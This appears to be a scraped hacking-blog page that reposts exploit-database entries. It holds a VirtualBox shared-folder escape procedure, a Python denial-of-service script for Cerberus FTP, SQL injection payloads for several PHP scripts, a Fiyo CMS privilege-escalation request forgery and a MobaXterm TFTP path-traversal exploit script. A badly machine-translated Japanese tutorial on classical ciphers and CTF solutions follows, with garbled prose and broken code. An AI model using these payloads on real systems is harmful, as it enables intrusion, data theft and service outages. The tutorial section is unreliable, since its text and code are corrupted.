Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1037
There is a security issue in the shared folder implementation that
permits cooperating guests with write access to the same shared folder to
gain access to the whole filesystem of the host, at least on Linux hosts.
The issue is that, when the host checks whether a given path escapes the root
directory of the shared folder in vbsfPathCheckRootEscape(), the function
assumes that the directory hierarchy is static: E.g. the path
"base/a/b/c/../../.." is assumed to be equivalent to "base/a/b/../..",
"base/a/.." and "base". However, at least on Linux, renames can occur at the
same time as path traversal.
This means that, if VM A attempts to open "base/a/b/c/../../../foo" while
VM B is moving "base/a/b/c" to "base/c_", VM A might actually end up opening
"base/../../foo" instead of "base/foo".
To demonstrate the issue, on a Linux host with Virtualbox 5.1.10:
- Place a file called "real_root_marker" in the root directory of the Linux
host, containing some secret text. The VMs will attempt to obtain
the contents of this file.
root@host:/# echo "this is secret text in the host fs" > /real_root_marker
- Create two Linux VMs with a shared writable folder.
- In the VMs, install the guest extensions, with the attached patch
vboxsf_new.patch applied.
- In the VMs, ensure that the new vboxsf kernel module is loaded and that
the shared folder is mounted.
- In VM A, compile and run the attached file openspam.c:
root@vmA:/media/sf_vboxshared# gcc -o openspam openspam.c -std=gnu99
root@vmA:/media/sf_vboxshared# ./openspam
entering directory...
entered directory and prepared folders, racing...
- In VM B, compile and run the attached file renamespam.c:
root@vmB:/media/sf_vboxshared# gcc -o renamespam renamespam.c -std=gnu99
root@vmB:/media/sf_vboxshared# ./renamespam
Now, in VM A, you should see the contents of the host's /real_root_marker
within seconds:
SUCCESS
this is secret text in the host fs
EOF
Note: The exploit assumes that the shared folder isn't more than nine levels
away from the filesystem root.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41597.zip
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863584554
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Exploit Title: Cerberus FTP server – Denial of Service
# Date: 2017-03-13
# Exploit Author: Peter Baris
# Vendor Homepage: https://www.cerberusftp.com/
# Software Link: [download link if available]
# Version: 8.0.10.1
# Tested on: Windows Server 2008 R2 Standard x64, Windows 7 Pro SP1 x64
# CVE : CVE-2017-6367
# 2017-02-27: Vulnerability discovered, Contact to Cerberus Support
# 2017-02-27: Reply received, PoC exploit code sent
# 2017-02-27: Problematic module identified by the vendor, gSOAP
# 2017-03-02: New version 8.0.10.2 released - https://www.cerberusftp.com/products/releasenotes/
# 2017-03-02: gSOAP module update released by the vendor and advisory placed https://www.genivia.com/advisory.html
# 2017-03-02: grace period until 13th March
# 2017-03-13: Publishing
import socket
import sys
try:
host = sys.argv[1]
port = 10001
except IndexError:
print "[+] Usage %s <host> " % sys.argv[0]
sys.exit()
exploit = "A"*5004
buffer = "GET /index.html HTTP/1.1\r\n"
buffer+= "Host: "+exploit+host+":"+str(port)+"\r\n"
buffer+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2\r\n"
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\
r\n"
buffer+="Accept-Language: en-US,en;q=0.5\r\n"
buffer+="Accept-Encoding: gzip, deflate\r\n"
buffer+="Referer: "+host+":"+str(port)+"\r\n"
buffer+="Connection: keep-alive\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="Content-Length: 5900\r\n\r\n"
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((host,port))
s.send(buffer)
s.close()
# # # # #
# Exploit Title: Car Workshop System - SQL Injection
# Google Dork: N/A
# Date: 13.03.2017
# Vendor Homepage: http://prosoft-apps.com/
# Software: https://codecanyon.net/item/car-workshop-system/19562074
# Demo: http://workshop.prosoft-apps.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/services/print_service_invoice?job_id=[SQL]
# 6'+/*!50000union*/+select+1,2,3,/*!50000concat*/(database(),0x7e,version()),5,6,7,8,9,10,11,12--+-
#
# In addition.
# Technician User, There are security vulnerabilities.
# purchase_order/deletePO?id=
# technician_services/tech_opened_services_view?job_id=
# technician_services/tech_drew_out_inventory_services_view?job_id=
# technician_services/tech_completed_services_view?job_id=
# Etc..
# # # # #
# Exploit Title: Fiyo CMS 2.0.6.1 allows remote authenticated users to gain privileges via a modified level parameter
# Google Dork: no
# Date: 11-03-2017
# Exploit Author: @rungga_reksya, @dvnrcy
# Vendor Homepage: http://www.fiyo.org
# Software Link: https://sourceforge.net/projects/fiyo-cms
# Version: 2.0.6.1
# Tested on: Windows Server 2012 Datacenter Evaluation
# CVE : CVE-2017-6823
I. Background:
Fiyo CMS di kembangkan dan dibuat pertama kali oleh mantan seorang pelajar SMK yang pada saat itu bersekolah di SMK 10 Semarang jurusan RPL. Pada zaman itu namanya bukan Fiyo CMS melainkan Sirion yang merupakan akronim dari Site Administration.
II. Description:
Privilege Escalation (Manipulation of User Group) Vulnerability on Fiyo CMS 2.0.6.1
III. Exploit:
Fiyo CMS have five user group (super administrator, administrator, editor, publisher, member) and only three group can access backend page of admin (super administrator, administrator and editor).
If we login as super administrator and access edit profile menu, check source code (ctrl+u) from your browser and we get level privilege:
super administrator = 1
administrator = 2
editor = 3
publisher = 4
member = 5
Ok, prepare your tool like burpsuite to intercept traffic. in this case I login as editor and I want manipulation of editor group (level=3) to be super administrator group (level=1). The first you access on menu “Edit Profile” and click “Simpan (Save)”, and then change like this on your burpsuite intercept menu:
Original:
POST /fiyo_cms_2.0.6.1/dapur/?app=user&act=edit&id=3 HTTP/1.1
Host: 192.168.1.2
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.2/fiyo_cms_2.0.6.1/dapur/?app=user&act=edit&id=3
Cookie: c40cded1c770e0ead20a6bcbf9a26edf=hplreme8us3iem3jg36km36ob5; PHPSESSID=dcj4n83jd2tdrjs32fo6gm9eq7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
edit=Next&id=3&z=editor&user=editor&z=editor&x=&password=editor&kpassword=editor&email=editor%40localhost.com&level=3&name=editor&bio=
Manipulation (Change Level=3 to be Level=1):
POST /fiyo_cms_2.0.6.1/dapur/?app=user&act=edit&id=3 HTTP/1.1
Host: 192.168.1.2
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.2/fiyo_cms_2.0.6.1/dapur/?app=user&act=edit&id=3
Cookie: c40cded1c770e0ead20a6bcbf9a26edf=hplreme8us3iem3jg36km36ob5; PHPSESSID=dcj4n83jd2tdrjs32fo6gm9eq7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
edit=Next&id=3&z=editor&user=editor&z=editor&x=&password=editor&kpassword=editor&email=editor%40localhost.com&level=1&name=editor&bio=
Yeaaah, now editor become super administrator privilege ^_^ and The level of administrator can be super administrator too.
IV. Thanks to:
- Alloh SWT
- MyBoboboy
- MII CAS
- Komunitas IT Auditor & IT Security Kaskus
Refer:
https://www.owasp.org/index.php/Testing_for_Privilege_escalation_(OTG-AUTHZ-003)
# # # # #
# Exploit Title: Mirage – Fancy Clone - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.zoplay.com/
# Software: https://www.zoplay.com/web/multi-vendor-clone-website/
# Demo: http://fancyclone.zoplay.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/shopby/IhsanSencan?c=[SQL]
# Duplicate entry 'fancyclone
# Etc..
# # # # #
[+] Credits: John Page AKA hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MOBAXTERM-TFTP-PATH-TRAVERSAL-REMOTE-FILE-ACCESS.txt
[+] ISR: ApparitionSec
Vendor:
=====================
mobaxterm.mobatek.net
Product:
===============================
MobaXterm Personal Edition v9.4
Enhanced terminal for Windows with X11 server, tabbed SSH client, network tools and much more.
Vulnerability Type:
=====================================
Path Traversal Remote File Disclosure
CVE Reference:
==============
CVE-2017-6805
Security Issue:
================
Remote attackers can use UDP socket connection to TFTP server port 69 and send Read request, to retrieve otherwise protected files using
directory traversal attacks e.g. ../../../../Windows/system.ini
Start MobaXterm TFTP server which listens on default TFTP port 69.
c:\>tftp -i 127.0.0.1 GET ../../../../Windows/system.ini
Transfer successful: 219 bytes in 1 second(s), 219 bytes/s
c:\xampp\htdocs>type system.ini
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON
[drivers]
wave=mmdrv.dll
timer=timer.drv
[mci]
Victim Data located on: 127.0.0.1
POC URL:
=============================
https://vimeo.com/207516364
Exploit:
==========
import sys,socket
print 'MobaXterm TFTP Directory Traversal 0day Exploit'
print 'Read Windows/system.ini'
print 'hyp3rlinx \n'
HOST = raw_input("[IP]>")
FILE = 'Windows/system.ini'
PORT = 69
PAYLOAD = "\x00\x01" #TFTP Read
PAYLOAD += "../" * 4 + FILE + "\x00" #Read system.ini using directory traversal
PAYLOAD += "netascii\x00" #TFTP Type
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(PAYLOAD, (HOST, PORT))
out = s.recv(1024)
s.close()
print "Victim Data located on : %s " %(HOST)
print out.strip()
Network Access:
===============
Remote
Severity:
=========
High
Disclosure Timeline:
=============================
Vendor Notification: No Reply
March 10, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
# # # # #
# Exploit Title: PHP Forum Script v3.0 - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.phpjabbers.com/
# Software: https://www.phpjabbers.com/php-forum-script/
# Demo: http://demo.phpjabbers.com/index.php?demo=pfs&front=1&lid=1
# Version: 3.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/preview.php?controller=pjLoad&action=pjActionIndex&question_search=1&column=[SQL]created&direction=DESC
# Etc..
# # # # #
# # # # #
# Exploit Title: Yellow Pages Script v3.2 - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.phpjabbers.com/
# Software: https://www.phpjabbers.com/yellow-pages-script/
# Demo: http://demo.phpjabbers.com/index.php?demo=yps&front=1&lid=1
# Version: 3.2
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/preview.php?controller=pjListings&action=pjActionIndex&category_id=[SQL]
# Etc..
# # # # #
# # # # #
# Exploit Title: Yacht Listing Script v2.0 - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.phpjabbers.com/
# Software: https://www.phpjabbers.com/yacht-listing-script/
# Demo: http://demo.phpjabbers.com/index.php?demo=yls&front=1&lid=1
# Version: 2.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/front.php?controller=pjListings&action=pjActionIndex&listing_search=1&min_year=1948[SQL]&max_year=2017[SQL]&min_loa=6[SQL]&max_loa=20[SQL]&min_length=25[SQL]&max_length=150[SQL]&min_beam=20[SQL]&max_beam=150[SQL]
# Etc..
# # # # #
暗号化の紹介
暗号化は一般に、古典的な暗号化と現代の暗号化に分けることができます。
その中で、実用的な芸術としての古典的な暗号化は、多くの場合、デザイナーと敵の創造性とスキルに依存しており、元の暗号を明確に定義していません。主に次の側面が含まれています
シングルテーブル交換暗号化マルチテーブル交換暗号化奇妙な暗号化方法。一方、現代の暗号化は、20世紀後半に登場した多数の関連理論に由来し、現代の暗号化を体系的かつ厳密に学ぶことができる科学になりました。現代の暗号化は、単に次の側面に分けることができます
DES、AES、RC4で表される対称パスワード。非対称パスワードは、RSAおよび楕円曲線暗号化によって表されます。 MD5、SHA1、SHA512などで表されるHash。デジタル署名、RSA署名、Elgamal Signature、およびDSA Signatureで表されます。暗号化する主な方法は2つあります
ブロック暗号化ストリーム暗号化一般的に言えば、パスワードデザイナーの基本的なアイデアは、パスワードフレームワークを確保することです。
機密性の整合性の可用性は否定できず、最初の3つはCIAトリプルとも呼ばれます。
パスワードクラッカーの場合、通常、パスワードアルゴリズムを識別する方法を見つけてから、パスワードフレームワークのブルートフォースクラッキング方法または脆弱性を使用してクラックする必要があります。もちろん、対応する検出をバイパスするために、誤ったハッシュ値または署名を構築したい場合もあります。
一般的に言えば、攻撃者はパスワードシステムが壊れていることを知っていると仮定します。一般的に言えば、次の種類の攻撃があります。
攻撃タイプの説明該当するシナリオ:暗号文攻撃攻撃攻撃者のみがciphertextクラシックパスワードのみを既知のプレーンテキスト攻撃と対応する暗号化クラシックパスワード、対称的なパスワード、非対称パスワード、非対称パスワード、プラントテキスト攻撃は、対応する微細テキスト対称パスワードを取得することができます。非対称パスワードは、いくつかの暗号文を選択した後、プレーンテキスト非対称パスワードを取得できます。ここに推奨される資料がいくつかあります
Khan Academy Open Classは理解しやすい暗号化——一般的な暗号化技術の原則とアプリケーション
参照
ウィキペディアクリプトグラフィ
古典的なパスワードの紹介
シャノンの機密システムのコミュニケーション理論の公開前の暗号化は、古典的なクリプトグラフィーとして分類されます。最終分析では、古典的な暗号エンコーディングの2つの主要な方法、つまり置換と交換があります。
パスワードを交換
プレーンテキストの文字を再配置すると、文字自体は変更されていませんが、その位置は変わります。この方法でコンパイルされたパスワードは、交換パスワードと呼ばれます。パスワードを置き換える最も簡単な方法は、プレーンテキストのアルファベット順の順序を逆にしてから、それをciphertextとして固定長の文字グループにカットすることです。
- 列の順列暗号化:固定された長さm、つまり、行ごとのm文字、キーの制御下で特定の順序で列を交換する列、つまり、列の優先順位で読み取る、つまり、ciphertextが生成されます。復号化:逆プロセス。
- 定期的な順列は、ほぼ同じ列の順序ですが、追加および復号化する場合、列交換後に行ごとに下方に実行されます。
置換
パスワード置換は、プレーンテキストの文字を他の文字に置き換えることです。 -single-denote置換パスワードAからBへのマッピングを定義します:F:A→BF(A_I)=B_I=A_J \ J=I+K \ MOD N加算パスワードは、アルファベットの後のK番目の文字に置き換えられます。 K=3は、Caesarが使用する暗号化システムである有名なCaesarコードです。これは、シセロの戦いで重要な軍事情報を保護するために古代ローマ人の偉大なものです。これは、世界史における最初の有名なパスワードアプリケーションです。
cultip倍パスワードaとbは、n文字のあるアルファベットです。aからbへのマッピングを定義します:f:a→bf(a_i)=b_i=a_j \ j=ik \ mod n where :(n、k)=1。注:(n、k)=1のみが正しく解読できます。
cassidersパスワードの代わりにランダムに単語を選択し、内部の重複文字を削除し、マトリックスの最初の行に書き込み、この最初の行の文字をプレーンテキストアルファベットから削除し、残りの文字をマトリックスアルファベットに書き込みます。次に、列に従って文字を取り出して、暗号アルファベットを形成します。
-Multi-denotesはパスワードを単一デノットに置き換えますが、1つの理由は、単純なテキストレターが暗号テキストレターにのみ置き換えられることです。周波数分析は、解読に使用できます。したがって、より安全なマルチデノテッド置換パスワードが生成されます。つまり、複数の暗号文アルファベットが構築され、一連の置換テーブルが使用されて、キーの制御下でシーケンスのプレーンテキストメッセージのアルファベットシーケンスを置き換えます。
古典的な暗号化では、主に単一テーブルの代替パスワード、マルチテーブルの代替パスワード、およびその他の興味深いパスワードを紹介します。
古典的な暗号化では、デザイナーは主にメッセージの機密性を考慮しているため、関連するキーを持つ人のみが暗号テキストを復号化してメッセージのコンテンツを取得できず、メッセージの完全性と否定性を考慮しないことに言及する価値があります。
単一テーブル暗号化
[目的]
いくつかの一般的な暗号化方法
[環境]
Ubuntu
[ツール]
JPK
[原則]
シングルテーブル交換暗号化の
パスワードのシフト
すべての暗号化方法には、ほぼ1つの共通の特徴があります。したがって、通常、割れる方法は2つあります
キースペースが小さい場合、暗号文の長さが十分に長いときにブルートフォースの亀裂が使用されます。キースペースが十分に大きく、暗号文の長さが十分に短い場合、単語周波数分析が使用され、亀裂はより困難です。
シーザーコード
原理
暗号化されると、Caesar暗号は、単純なテキスト内の各文字を後方(または前方)に移動します。これは、暗号テキストとして固定数(移動ループ)のアルファベットにある順序で順に移動します。たとえば、オフセットがシフトしたままになった場合(復号化中のキーは3):
プレーンアルファベット:abcdefghijklmnopqrstuvwxyz
秘密のテキストアルファベット:defghijklmnopqrstuvwxyzabc
使用すると、暗号化業者は、プレーンテキストアルファベットで暗号化する必要があるメッセージ内の各文字の場所を探し、Cipherテキストアルファベットに対応する文字を書きます。復号化する必要がある人は、元のプレーンテキストを取得するために、以前に既知のキーに基づいて逆に動作します。例えば:
プレーンテキスト:クイックブラウンフォックスが怠zyな犬を飛び越えます
パスワード:WKH TXLFN EURZQ IRA MXPSV RYHU WKH ODCB GRJ
オフセットに応じて、いくつかの特定のCAESARパスワード名があります。
オフセットは10です:avocat(a→k)オフセットは13:rot13です。 ROT13は独自の反転です。つまり、ROT13を復元するには、同じ暗号化アルゴリズムを使用してそれを取得できるため、同じ操作を再暗号化して解読できます。オフセットは-5:Cassis(k 6)です。オフセットは-6:カセット(k 7)です。さらに、キーベースのシーザー暗号があります。基本原則は、キーを使用してキーの各ビットを数値(通常はアルファベットの対応する順序で数値に変換)に変換し、この数値をキーとして使用して、プレーンテキストの各文字を暗号化することです。
atbash cipher
Caesarパスワードと同様に、パスワードをシフトするだけでなく、数字や特殊文字も扱うことです。 ASCIIコードテーブルは、一般的にシフトに使用されます。亀裂方法は、考えられる結果を得るためにすべての可能性を横断することでもあります。
原理
簡単なパスワードの交換
Atbash Cipherは、実際に以下に紹介する単純な交換パスワードの特別なケースと見なすことができます。アルファベットの最後の文字を使用して最初の文字を表し、最後から2番目の文字は2番目の文字を表します。ローマのアルファベットでは、次のように見えます。
プレーンテキスト:A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
パスワード:Z Y X W V U T S R Q P O N M L K J I H G F E D C B A
原理
アフィンパスワード
シンプルな置換暗号を暗号化するときは、各プレーンテキストレターを一意で異なる文字に置き換えます。それとCAESARパスワードの違いは、パスワードのアルファベットの文字が単にシフトされているのではなく、完全に混乱しているため、CAESARパスワードよりもクラックするのが難しくなっていることです。例えば:
プレーンレター: abcdefghijklmnopqrstuvwxyz
キーレター: phqgiumeylnofdxjkrcvstzwb
aはpに対応し、dはHなどに対応します。
原理
[step]
アフィンパスワードの暗号化関数はe(x)=(ax+b)(modm)で、ここで
xは、プレーンテキストの特定のエンコードで取得された番号AとMを表します。エンコードシステムの文字の数です。復号化関数はd(x)=a − 1(x -b)(modm)で、a -1はzmグループのaの乗算逆要素です。
Caiserパスワード
atbash cipher
ここでは、Xman Summer Camp共有トーナメントの第1フェーズであるCrypto 100を紹介します。
プレーンテキスト:S0A6U3U1S0BV1A
キー:広東
オフセット:6,20,0,13,6,19,14,20
パスワード:Y0U6U3H1Y0UJ1U
割れた
キーのないCaesarのパスワードの場合、それをクラックする2つの基本的な方法があります。
26のオフセットのトラバーサルは、単語頻度を分析するための一般的な状況に適しており、暗号文が長い状況に適しています。その中で、最初の方法は間違いなく平易なテキストを取得できますが、2番目の方法では必ずしも正しい平易なテキストを取得するとは限りません。
キーベースのシーザー暗号の場合、対応するキーを知る必要があります。
この質問を例に挙げてください:広州は最初にオフセットに変換され、Aは0に変換され、他の文字はそれに応じてオフセットされ、最終的なオフセットは6、20、0、13、6、19、14、20です。文字のみが暗号化され、最初の文字sはキーの最初の文字sに対応するオフセットであるため、暗号化の後、プレーンテキストの2番目の文字Aはキーuに対応するオフセットを続けます。暗号化が完了した後、暗号文はプレーンテキストから取得でき、逆操作はciphertextから取得できます。
道具
一般的に、次のツールがあり、その中にはJPKがより一般的です。
JPK、キーを使用して復号化するためのオンライン復号化ツールキーCaesarパスワードなし
簡単なパスワードの交換
以下は、ローマアルファベットの対応するルールに基づいて暗号化されているため、理解できます。
プレーンテキスト:クイックブラウンフォックスが怠zyな犬を飛び越えます
パスワード:GSV JFRXP LOVEM ULC QFNKH LEVI GSV OZAB WLT
割れた
その重要な空間は十分に短く、暗号文が十分に長い場合、単語周波数分析によって解決できることがわかります。
アフィンパスワード
例では、次の例では、原則部分を使用して、パーツの対応するルールを置き換えて暗号化するだけです。
プレーンテキスト:クイックブラウンフォックスが怠zyな犬を飛び越えます
パスワード:cei jvaql hkdtf udz yvoxr dsik cei npbw gdm
復号化するとき、通常、それをdyする前に、各文字の対応するルールを知っています。
割れた
この暗号化方式は26!のすべてのキーの数になるため、ブルートフォースソリューションを使用することはほとんど不可能です。したがって、通常、単語周波数分析を使用します。
道具
単語周波数分析と亀裂ツール
[概要]
例として、次の関数e(x)=(5x+8)mod26を紹介します。暗号化された文字列はアフィン暗号です。ここでは、エンコーディングシステムとしてアルファベットの26文字を直接使用します
プレーンテキストAffinecipherx055813428157417y=5x+8833333487328184883432893ymod268772221218222517215暗号テキストIhhwvcswfrcp
復号化プロセスの場合、通常の復号化装置にはaとbがあります。原理部分の対応する説明によれば、A -1が21であるため、その復号化関数はD(x)=21(x -8)(mod26)であり、復号化は次のとおりであると計算できます。
ciphertext ihhwvcswfrcpy87722121822517215x=21(y-8)0-21-21294273-126210294-63189-126147xmod26055813428157417 plaintext efsiphe shows assitiphe show show show show shove exhingは
割れた
まず、アフィンパスワードで取得した暗号文は、2つの異なる文字で異なる必要があるため、最も一般的な特性も備えていることがわかります。暗号文の長さが十分に長い場合、周波数分析方法を使用して解決できます。
第二に、パスワードを攻撃する方法を検討することができます。 a=1の場合、アフィン暗号化はシーザー暗号化であることがわかります。一般的に言えば、アフィンパスワードを使用する場合、文字セットはすべてアルファベットを使用し、通常は26文字しか使用しておらず、合計26と26の相互に排他的な数字があります。
ϕ(26)=ϕ(2)×ϕ(13)=12 bのオフセットの可能性が計算され、可能な総キースペースサイズは
12×26=312一般的に言えば、このタイプのパスワードについては、平易なテキストを知っている場合にのみ攻撃する必要があります。以下は簡単な分析です。
このパスワードは、2つのパラメーターによって制御されます。それらのいずれかを知っていれば、他のパラメーターを簡単に迅速に列挙して答えを得ることができます。
ただし、ここで26文字であると仮定して、使用されている文字セットが既に使用されていることをすでに知っていると仮定します。別の復号化の方法があり、復号化するために2つの暗号化された文字Y1とY2を知る必要があります。それから私たちはまだ知ることができます
y1=(ax1+b)(mod26)y2=(ax2+b)(mod26)2つの方程式を減算すると、取得できます
y1 -y2=a(x1 -x2)(mod26)ここでy1、y2が知られています。暗号文に対応する2つの異なる文字x1とx2がわかっている場合、aとbを簡単に取得できます。
例
次のプログラムは、オペレーティングマシンのデスクトップ/ツール/twctf2016-super_express/directoryに保存されています
ここでは、例としてTWCTF 2016のsuper_expressを紹介します。簡単に与えられたソースコードをご覧ください
sysをインポートします
key='****検閲****************
flag='twctf {******検閲*********}'
Len(key)%2==1:の場合
印刷( 'キー長エラー')
sys.exit(1)
n=len(key)/2
暗号化=''
flag:のcの場合
c=ord(c)
a、b in zip(key [0:n]、key [n:2*n]):の場合
c=(ord(a) * c + ord(b))%251
暗号化+='%02x'%c
暗号化された印刷
フラグ内の各文字はn回暗号化されていますが、慎重に分析すると、それが見つかることがわかります。
C1=A1C+B1C2=A2C1+B2=A1A2C+A2B1C+B2=KC+D 2番目の行の導出によると、CNは実際には同じ形式であり、CN=XC+Yと見なされる可能性があります。
さらに、暗号テキストもタイトルに記載されており、暗号テキストのコンテンツは次のとおりです。
805eed80CBBCCB94C36413275780EC94A857DFEC8DA8CA94A8C313A8CCF9
また、いくつかの暗号文に対応するプレーンテキストでは、既知のプレーンテキスト攻撃方法を使用して攻撃することは簡単です。次のようにコードを使用します。ciphertextをテキストファイルとして保存し、暗号化された変更に変更します。暗号化されたディレクトリで次のコードを実行します
gmpyをインポートします
key='****検閲****************
flag='twctf {******検閲*********}'
f=open( 'necrypted'、 'r')
data=f.read()。ストリップ( '\ n')
暗号化=[int(data [i3360i + 2]、16)for i in range(0、len(data)、2)]
plaindelta=ord(flag [1]) - ord(flag [0])
cipherdalte=暗号化[1] - 暗号化[0]
a=gmpy.invert(plaindelta、251) * cipherdalte%251
b=(暗号化[0] -a * ord(flag [0]))%251
a_inv=gmpy.invert(a、251)
結果=''
暗号化:のCの場合
結果+=chr((c -b) * a_inv%251)
印刷結果
結果は次のとおりです(ファイルが配置されているディレクトリを右クリックし、ここから端子を開いて現在のディレクトリの端末を開き、次のように復号化プログラムを実行します)
シェル
twctf2016-super_express git:(マスター)python exploit.py
twctf {faster_than_shinkansen!}
多表現暗号化
このセクションの研究により、いくつかの一般的な暗号化方法と亀裂方法を学ぶことができます
原理
マルチテーブル置換暗号化の場合、暗号化された文字は元の周波数をほとんど維持しなくなるため、一般的にアルゴリズムを見つけることで対応する弱点を割ることができます。
ツール
PlayFairパスワード(PlayFair CipherまたはPlayFair Square)は、交換用パスワードです。 1854年にチャールズホイートストーンによって発明されました。基本的なアルゴリズムは次のとおりです。
英語の文字の文字列を選択し、繰り返される文字を削除し、残りの文字を5×5マトリックスに1つずつ追加し、A-Zの順に残りの英語の文字から残りのスペースを追加します。 qを削除するか、iとjを同じ単語として扱うことに注意してください。プレーンテキストを分割して、2つのグループに暗号化されます。グループ内の文字が同じ場合、グループの最初の文字にx(またはq)を追加して再編成します。 1つの単語が残っている場合は、Xを追加します。各グループに、マトリックス内の2つの文字がどこにあるかを確認します。 2文字に異なる行と列がある場合、マトリックス内の他の2文字を見つけます(最初の文字は行が優先されます)。これにより、これらの4文字は長方形の四隅になります。 2文字が並んでいる場合は、2文字の右に文字を持ちます(手紙が右端にある場合は、左端に手紙を取ります)。 2文字が同じ列にある場合は、2文字の下の文字を撮ります(文字が下部にある場合は、上記の文字を取ります)。新しく見つかった2文字は、元の2文字の暗号化の結果です。
鍵としてPlayFairの例を取ります、
P l a y f
I R e x m
b c d g h
K n o q s
T u v w z
暗号化されるメッセージは、木の切り株に金を隠すことです
こんにちは
取得します
bm od zb xd na be ku dm ui xm mo uv if if
原理
CAP4
ツール
Polybiusパスワードは、チェスボードパスワードとも呼ばれます。通常、特定のプレーンテキストで数字の組み合わせに暗号化され、一般的に使用されるパスワードリスト
123451ABCDE2FGHI/JK3LMNOP4QRSTU5VWXYZたとえば、単純なテキストこんにちは、暗号化後、23 15 31 31 34です。
別のパスワードリスト
adfgxabtalpddhozkfqfvsnggjcuxxmrewyここでの文字の順序は破壊されていることに注意してください。
d f g xの起源:
1918年、第一次世界大戦が終了しようとしたとき、フランス軍はドイツの電報を傍受し、電報のすべての単語は5文字のa、d、f、g、xから綴られたため、ADFGXパスワードと呼ばれました。 ADFGXパスワードは、1918年3月にドイツのフリッツネベル大佐によって発明されました。これは、Polybiusパスワードを組み合わせてパスワードを置き換えるデュアル暗号化スキームです。
たとえば、こんにちは、このテーブルの暗号化を使用することはDD XF AG DFです。
Vigenere Virginiaパスワード
Cryptool
原理
亀裂
バージニアパスワード(Vigenere)は、シーザーパスワードを使用してパスワードアルファベットを形成する暗号化アルゴリズムです。これは、マルチテーブルパスワードの単純な形式です。
これが例です
プレーンテキスト:グレートウォールに来てください
キー:暗号
まず、キーを埋めて、その長さがプレーンテキストの長さと同じになるようにします。
プレーンテキストComegreatwall Key Cryptoc、その後、テーブルを検索して暗号テキストを取得します
プレーンテキスト:グレートウォールに来てください
キー:暗号
パスワード:efkt zferrltzn
ツール
バージニア州のパスワードを含むすべてのマルチテーブルパスワードの解読は、文字頻度に基づいていますが、直接周波数分析は適用されません。これは、バージニア州のパスワードでは、文字が異なる暗号文に暗号化できるため、ここでは簡単な頻度分析が役に立たないためです。
バージニア州のパスワードを解読するための鍵は、そのキーがループで繰り返されることです。キーの長さがわかっている場合、暗号文は織り交ぜられたシーザーの暗号コードと見なすことができ、それぞれを個別に割ることができます。パスワードの長さについては、KassiskyテストとFriedmanテストを使用して取得できます。
Kassiskyの実験は、同じキー文字で暗号化される可能性があるため、暗号文に繰り返し表示される可能性があるという事実に基づいています。たとえば、プレーンテキストの異なる暗号は、キーABCDEFによって異なる暗号文に暗号化される場合があります。
キー:ABCDEF AB CDEFA BCD EFABCDEFABCD
プレーンテキスト:暗号は暗号化の略です
パスワード:csasxt it ukswt gqu gwyqvrkwaqjb
